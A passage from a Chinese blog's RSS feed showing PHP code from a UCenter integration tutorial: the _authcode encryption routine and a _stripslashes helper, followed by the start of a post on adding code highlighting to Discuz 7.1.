&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$cookiedomain</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SERVER_PORT'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">443</span> ? <span style="color: #cc66cc;">1</span> <span style="color: #339933;">:</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">function</span> _authcode<span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #339933;">,</span> <span style="color: #000088;">$operation</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'DECODE'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$expiry</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$ckey_length</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">4</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$key</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/md5"><span style="color: #990000;">md5</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$key</span> ? <span style="color: #000088;">$key</span> <span style="color: #339933;">:</span> UC_KEY<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$keya</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/md5"><span style="color: #990000;">md5</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$key</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">16</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$keyb</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/md5"><span style="color: #990000;">md5</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$key</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">16</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">16</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$keyc</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$ckey_length</span> ? <span style="color: #009900;">&#40;</span><span style="color: #000088;">$operation</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'DECODE'</span> ? <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$ckey_length</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/md5"><span style="color: #990000;">md5</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/microtime"><span style="color: #990000;">microtime</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #339933;">-</span><span style="color: #000088;">$ckey_length</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$cryptkey</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$keya</span><span style="color: #339933;">.</span><a href="http://www.php.net/md5"><span style="color: #990000;">md5</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$keya</span><span style="color: #339933;">.</span><span style="color: #000088;">$keyc</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$key_length</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cryptkey</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$string</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$operation</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'DECODE'</span> ? <a href="http://www.php.net/base64_decode"><span style="color: #990000;">base64_decode</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #339933;">,</span> <span style="color: #000088;">$ckey_length</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <a href="http://www.php.net/sprintf"><span style="color: #990000;">sprintf</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'%010d'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$expiry</span> ? <span style="color: #000088;">$expiry</span> <span style="color: #339933;">+</span> <a href="http://www.php.net/time"><span style="color: #990000;">time</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/md5"><span style="color: #990000;">md5</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #339933;">.</span><span style="color: #000088;">$keyb</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #000088;">$string</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$string_length</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$box</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/range"><span style="color: #990000;">range</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$rndkey</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&lt;=</span> <span style="color: #cc66cc;">255</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$rndkey</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/ord"><span style="color: #990000;">ord</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cryptkey</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">%</span> <span style="color: #000088;">$key_length</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$j</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">256</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$j</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$j</span> <span style="color: #339933;">+</span> <span style="color: #000088;">$box</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">+</span> <span style="color: #000088;">$rndkey</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">%</span> <span style="color: #cc66cc;">256</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$tmp</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$box</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$box</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$box</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$box</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$tmp</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$j</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&lt;</span> <span style="color: #000088;">$string_length</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$a</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$a</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">%</span> <span style="color: #cc66cc;">256</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$j</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$j</span> <span style="color: #339933;">+</span> <span style="color: #000088;">$box</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$a</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">%</span> <span style="color: #cc66cc;">256</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$tmp</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$box</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$a</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$box</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$a</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$box</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$box</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$tmp</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$result</span> <span style="color: #339933;">.=</span> <a href="http://www.php.net/chr"><span style="color: #990000;">chr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #990000;">ord</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> ^ <span style="color: #009900;">&#40;</span><span style="color: #000088;">$box</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$box</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$a</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">+</span> <span style="color: #000088;">$box</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">%</span> <span style="color: #cc66cc;">256</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$operation</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'DECODE'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">10</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span> <span style="color: #339933;">||</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">10</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <a href="http://www.php.net/time"><span style="color: #990000;">time</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">10</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">16</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/md5"><span style="color: #990000;">md5</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">26</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #000088;">$keyb</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">16</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">26</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$keyc</span><span style="color: #339933;">.</span><a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'='</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <a href="http://www.php.net/base64_encode"><span style="color: #990000;">base64_encode</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">function</span> _stripslashes<span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/is_array"><span style="color: #990000;">is_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$string</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> _stripslashes<span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$string</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/stripslashes"><span style="color: #990000;">stripslashes</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$string</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>另外应用下的include目录下还有一个mysql数据库类，可以简单地使用discuz的，这里不再帖出了。</p>
<p>通信成功：<br />
<a href="http://static.ihacklog.com/wp-files/2009/11/app_communication.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2009/11/app_communication-550x188.png" alt="app_communication" title="app_communication" width="550" height="188" class="alignnone size-medium wp-image-3281" /> </a></p>
<p>若出现UCenter应用“正在连接&#8230;” ，一般是由于数据库配置不正确导致的。<br />
<a href="http://www.ihacklog.com/l.php?url=faq.comsenz.com/viewnews-537" target="_blank">应用通讯失败的排查方法 </a></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=3279";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=3279" title="Permanent Link to ucenter应用开发笔记之通信篇" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=3279</a>
            </p>
             </div><h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>2011年06月30日  //  <a href="http://ihacklog.com/security_optimization/discuz-x2-sql-injection-bug-20110629.html" title="Discuz! X2 SQL注射漏洞 (20110629)">Discuz! X2 SQL注射漏洞 (20110629)</a> (3)</li><li>2010年04月24日  //  <a href="http://ihacklog.com/php/discuz/add-beautiful-flash-audio-player-for-dz.html" title="为discuz添加漂亮的mp3播放器[适合discuz 7.2/discuz X2]">为discuz添加漂亮的mp3播放器[适合discuz 7.2/discuz X2]</a> (6)</li><li>2010年04月17日  //  <a href="http://ihacklog.com/php/wordpress/plugins/add-wp-shortcode-to-enable-media-playing.html" title="不用audio-player插件也播放mp3">不用audio-player插件也播放mp3</a> (19)</li><li>2010年03月3日  //  <a href="http://ihacklog.com/php/discuz/discuz-code-of-music-autoplay.html" title="discuz论坛中发帖之音乐自动播放方法">discuz论坛中发帖之音乐自动播放方法</a> (3)</li><li>2009年12月2日  //  <a href="http://ihacklog.com/software/cool_software_share/discuz-1-0-found.html" title="深夜，在DZ官网找到了传说中的discuz1.0">深夜，在DZ官网找到了传说中的discuz1.0</a> (8)</li><li>2009年11月7日  //  <a href="http://ihacklog.com/php/discuz/discuz7-1php-code-highlight.html" title="discuz7.1php、C语言代码高亮方法">discuz7.1php、C语言代码高亮方法</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/discuz/ucenter-application-developing-note.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>discuz7.1php、C语言代码高亮方法</title>
		<link>http://ihacklog.com/php/discuz/discuz7-1php-code-highlight.html</link>
		<comments>http://ihacklog.com/php/discuz/discuz7-1php-code-highlight.html#comments</comments>
		<pubDate>Sat, 07 Nov 2009 11:21:17 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[discuz]]></category>
		<category><![CDATA[c语言]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[代码高亮]]></category>

		<guid isPermaLink="false">http://www.hacklog.cn/?p=2993</guid>
		<description><![CDATA[1，修改/include/discuzcode.func.php 在 123456789function codedisp&#40;$code&#41; &#123; &#160; &#160; global $discuzcodes; &#160; &#160; $discuzcodes&#91;'pcodecount'&#93;++; &#160; &#160; $code = dhtmlspecialchars&#40;str_replace&#40;'\\&#34;', '&#34;', preg...]]></description>
			<content:encoded><![CDATA[<p><strong>1，修改/include/discuzcode.func.php</strong><br />
在</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> codedisp<span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$discuzcodes</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$discuzcodes</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'pcodecount'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> dhtmlspecialchars<span style="color: #009900;">&#40;</span><a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'\\&quot;'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&quot;'</span><span style="color: #339933;">,</span> <a href="http://www.php.net/preg_replace"><span style="color: #990000;">preg_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/^[<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span>]*(.+?)[<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span>]*$/is&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\\</span>1&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&lt;li&gt;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$discuzcodes</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'codehtml'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$discuzcodes</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'pcodecount'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> tpl_codedisp<span style="color: #009900;">&#40;</span><span style="color: #000088;">$discuzcodes</span><span style="color: #339933;">,</span> <span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$discuzcodes</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'codecount'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">&quot;[<span style="color: #000099; font-weight: bold;">\t</span>DISCUZ_CODE_<span style="color: #006699; font-weight: bold;">$discuzcodes[pcodecount]</span><span style="color: #000099; font-weight: bold;">\t</span>]&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>下添加：</p>
